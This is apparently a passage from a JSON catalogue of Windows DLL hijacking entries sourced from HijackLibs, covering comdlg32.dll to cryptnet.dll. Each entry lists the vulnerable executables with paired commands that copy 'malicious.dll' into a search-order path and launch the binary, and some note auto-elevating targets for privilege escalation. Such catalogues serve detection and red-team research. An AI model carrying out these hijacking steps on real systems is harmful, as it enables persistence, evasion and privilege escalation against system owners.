    "_body": "examples:\n  - description: \"Place malicious comdlg32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\comdlg32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# comdlg32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-comdlg32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "comdlg32.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "comdlg32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-comdlg32",
    "name": "comdlg32.dll",
    "namespace": "windows:dllhijack:comdlg32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/comdlg32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious commfunc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Lenovo\\\\Communications Utility\\\\commfunc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"cammute.exe\\\"\"\n\n# commfunc.dll\n\n**Vendor:** Lenovo\n\n**Expected Location:** %PROGRAMFILES%\\Lenovo\\Communications Utility\n\n**Vulnerable Executables:**\n- cammute.exe (Sideloading)\n",
    "_source": "windows-dllhijack-commfunc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "commfunc.dll — Sideloading hijacking (Lenovo)",
    "execution": {
      "template": "commfunc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-commfunc",
    "name": "commfunc.dll",
    "namespace": "windows:dllhijack:commfunc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-wave-of-plugx-targets-legitimate-apps/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/commfunc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious common.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\iroot\\\\common.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\iroot\\\\romasterconnection.exe\\\"\"\n\n# common.dll\n\n**Vendor:** iroot\n\n**Expected Location:** %PROGRAMFILES%\\iroot\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\iroot\\romasterconnection.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-common.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "common.dll — Sideloading hijacking (iroot)",
    "execution": {
      "template": "common.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-common",
    "name": "common.dll",
    "namespace": "windows:dllhijack:common",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.herdprotect.com/romasterconnection.exe-61602b5ec9ff4f651e87c9c4a15a7e4cc7c733aa.aspx"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/5aef5d7e917612b6390904f6468c3d0dbcf30345277b3ad0fe79e62fa8003c5b"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/common.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious comn.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\AOMEI\\\\AOMEI Backupper\\\\%VERSION%\\\\comn.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\AOMEI\\\\AOMEI Backupper\\\\%VERSION%\\\\Abspawnhlp.exe\\\"\"\n\n# comn.dll\n\n**Vendor:** AOMEI\n\n**Expected Location:** %PROGRAMFILES%\\AOMEI\\AOMEI Backupper\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\AOMEI\\AOMEI Backupper\\%VERSION%\\Abspawnhlp.exe (Sideloading)\n- %PROGRAMFILES%\\AOMEI\\AOMEI Backupper\\%VERSION%\\ABCorehlp.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-comn.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "comn.dll — Sideloading hijacking (AOMEI)",
    "execution": {
      "template": "comn.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-comn",
    "name": "comn.dll",
    "namespace": "windows:dllhijack:comn",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/2f5e9ef06c1ae2253a50c9556a8a522eaa5dd1e33d2fdc6930ab3c93ae538240"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/comn.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious concrt140.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft Visual Studio\\\\%VERSION%\\\\Community\\\\Common7\\\\IDE\\\\VC\\\\vcpackages\\\\concrt140.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"vcpkgsrv.exe\\\"\"\n\n# concrt140.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft Visual Studio\\%VERSION%\\Community\\Common7\\IDE\\VC\\vcpackages\n\n**Vulnerable Executables:**\n- vcpkgsrv.exe (Sideloading)\n\n**Acknowledgement:** Austin Worline\n",
    "_source": "windows-dllhijack-concrt140.md",
    "author": "Austin Worline",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "concrt140.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "concrt140.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-concrt140",
    "name": "concrt140.dll",
    "namespace": "windows:dllhijack:concrt140",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.youtube.com/watch?v=uTQIIWsUSHA"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/119910bd40da350fe61397b7eb8b6bc4c1280ff130129b4f5046d7f460c62fac"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/concrt140.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious configmanager2.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\configmanager2.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\hvsievaluator.exe\\\"\"\n\n# configmanager2.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\hvsievaluator.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-configmanager2.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "configmanager2.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "configmanager2.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-configmanager2",
    "name": "configmanager2.dll",
    "namespace": "windows:dllhijack:configmanager2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/configmanager2.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious connect.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\connect.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rasphone.exe\\\"\"\n\n# connect.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-connect.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "connect.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "connect.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "remote"
    ],
    "id": "windows-dllhijack-connect",
    "name": "connect.dll",
    "namespace": "windows:dllhijack:connect",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/connect.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious coredplus.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\coredplus.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\omadmclient.exe\\\"\"\n\n# coredplus.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-coredplus.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "coredplus.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "coredplus.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-coredplus",
    "name": "coredplus.dll",
    "namespace": "windows:dllhijack:coredplus",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/coredplus.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious corefoundation.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Common Files\\\\Apple\\\\Apple Application Support\\\\corefoundation.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\iTunes\\\\ituneshelper.exe\\\"\"\n\n# corefoundation.dll\n\n**Vendor:** Apple\n\n**Expected Location:** %PROGRAMFILES%\\Common Files\\Apple\\Apple Application Support\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\iTunes\\ituneshelper.exe (Sideloading)\n- %PROGRAMFILES%\\QuickTime\\QuickTimePlayer.exe (Sideloading)\n\n**Acknowledgement:** Matt Anderson\n",
    "_source": "windows-dllhijack-corefoundation.md",
    "author": "Matt Anderson - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "corefoundation.dll — Sideloading hijacking (Apple)",
    "execution": {
      "template": "corefoundation.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-corefoundation",
    "name": "corefoundation.dll",
    "namespace": "windows:dllhijack:corefoundation",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://analyze.intezer.com/analyses/82011cc1-c3df-4c63-9945-8730b0d1cf3e"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/ff5e56c20591a9019eb28b3cab88f5a240657c1c360bf01ad3a6d417fa10b7f5"
      },
      {
        "label": "Reference",
        "url": "https://www.joesandbox.com/analysis/1394928/0/html"
      },
      {
        "label": "Reference",
        "url": "https://discussions.apple.com/thread/2732037?sortBy=best"
      },
      {
        "label": "Reference",
        "url": "https://iosninja.io/dll/download/corefoundation-dll"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/corefoundation.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious coremessaging.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\coremessaging.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dwm.exe\\\"\"\n\n# coremessaging.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dwm.exe (Sideloading)\n- %SYSTEM32%\\sihost.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-coremessaging.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "coremessaging.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "coremessaging.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-coremessaging",
    "name": "coremessaging.dll",
    "namespace": "windows:dllhijack:coremessaging",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/coremessaging.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious coreuicomponents.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\coreuicomponents.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dwm.exe\\\"\"\n\n# coreuicomponents.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dwm.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-coreuicomponents.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "coreuicomponents.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "coreuicomponents.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-coreuicomponents",
    "name": "coreuicomponents.dll",
    "namespace": "windows:dllhijack:coreuicomponents",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/coreuicomponents.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious crashhandler.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Steam\\\\crashhandler.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Steam\\\\bin\\\\steam_monitor.exe\\\"\"\n\n# crashhandler.dll\n\n**Vendor:** Valve\n\n**Expected Location:** %PROGRAMFILES%\\Steam\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Steam\\bin\\steam_monitor.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-crashhandler.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "crashhandler.dll — Sideloading hijacking (Valve)",
    "execution": {
      "template": "crashhandler.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-crashhandler",
    "name": "crashhandler.dll",
    "namespace": "windows:dllhijack:crashhandler",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://x.com/AzakaSekai_/status/1991358486912069774"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/c4e3c29367426fe4ed718ab448fbdf2cf8690c81ea539805569cdff88317db9f"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/crashhandler.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious crashrpt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\MPC-HC\\\\CrashReporter\\\\crashrpt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\MPC-HC\\\\mpc-hc.exe\\\"\"\n\n# crashrpt.dll\n\n**Vendor:** Idol\n\n**Expected Location:** %PROGRAMFILES%\\MPC-HC\\CrashReporter\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\MPC-HC\\mpc-hc.exe (Sideloading)\n- %PROGRAMFILES%\\MPC-HC\\mpc-hc64.exe (Sideloading)\n",
    "_source": "windows-dllhijack-crashrpt.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "crashrpt.dll — Sideloading hijacking (Idol)",
    "execution": {
      "template": "crashrpt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-crashrpt",
    "name": "crashrpt.dll",
    "namespace": "windows:dllhijack:crashrpt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/db35155d33b616d4f7c268e78c8179eb84378778a4b195df09a8c36f2e5eb38b"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/crashrpt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious credui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\credui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\efsui.exe\\\"\"\n\n# credui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\fxssvc.exe (Sideloading)\n- %SYSTEM32%\\gpfixup.exe (Sideloading)\n- %SYSTEM32%\\licmgr.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\nlbmgr.exe (Sideloading)\n- %SYSTEM32%\\perfmon.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\rpcping.exe (Sideloading)\n- %SYSTEM32%\\runas.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\taskmgr.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\wbadmin.exe (Sideloading)\n- %SYSTEM32%\\wfs.exe (Sideloading)\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-credui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "credui.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "credui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-credui",
    "name": "credui.dll",
    "namespace": "windows:dllhijack:credui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/credui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious cryptbase.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cryptbase.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\alg.exe\\\"\"\n\n# cryptbase.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\alg.exe (Sideloading)\n- %SYSTEM32%\\calc.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Sideloading)\n- %SYSTEM32%\\computerdefaults.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\disksnapshot.exe (Sideloading)\n- %SYSTEM32%\\dpiscaling.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\filehistory.exe (Sideloading)\n- %SYSTEM32%\\fodhelper.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n- %SYSTEM32%\\lpksetup.exe (Sideloading)\n- %SYSTEM32%\\mfpmp.exe (Sideloading)\n- %SYSTEM32%\\mshta.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\net1.exe (Sideloading)\n- %SYSTEM32%\\netplwiz.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\presentationhost.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\resmon.exe (Sideloading)\n- %SYSTEM32%\\rmactivate.exe (Sideloading)\n- %SYSTEM32%\\rmactivate_ssp_isv.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\slui.exe (Sideloading)\n- %SYSTEM32%\\sppextcomobj.exe (Sideloading)\n- %SYSTEM32%\\stordiag.exe (Sideloading)\n- %SYSTEM32%\\tzsync.exe (Sideloading)\n- %SYSTEM32%\\uevappmonitor.exe (Sideloading)\n- %SYSTEM32%\\useraccountcontrolsettings.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n- %SYSTEM32%\\write.exe (Sideloading)\n- %SYSTEM32%\\wscadminui.exe (Sideloading)\n- %PROGRAMFILES%\\Minecraft Launcher\\MinecraftLauncher.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Deployment Toolkit\\Bin\\Microsoft.BDD.Catalog35.exe (Sideloading)\n- winbox64.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Andrew Oliveau\n\n**Acknowledgement:** Will Summerhill\n\n**Acknowledgement:** ice-wzl\n",
    "_source": "windows-dllhijack-cryptbase.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "cryptbase.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cryptbase.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-cryptbase",
    "name": "cryptbase.dll",
    "namespace": "windows:dllhijack:cryptbase",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/AndrewOliveau/status/1682185200862625792"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/BSummerz/status/1860045985919205645"
      },
      {
        "label": "Reference",
        "url": "https://ice-wzl.medium.com/mikrotik-winbox-dll-side-loading-vulnerability-x2-413d371ff5f0"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cryptbase.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cryptdll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cryptdll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\at.exe\\\"\"\n\n# cryptdll.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\at.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-cryptdll.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cryptdll.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cryptdll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cryptdll",
    "name": "cryptdll.dll",
    "namespace": "windows:dllhijack:cryptdll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cryptdll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cryptnet.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cryptnet.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft Deployment Toolkit\\\\Bin\\\\Microsoft.BDD.Catalog35.exe\\\"\"\n\n# cryptnet.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft Deployment Toolkit\\Bin\\Microsoft.BDD.Catalog35.exe (Sideloading)\n\n**Acknowledgement:** Will Summerhill\n",
    "_source": "windows-dllhijack-cryptnet.md",
    "author": "Will Summerhill",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cryptnet.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "cryptnet.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cryptnet",
    "name": "cryptnet.dll",
    "namespace": "windows:dllhijack:cryptnet",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/BSummerz/status/1860045985919205645"
      },
      {
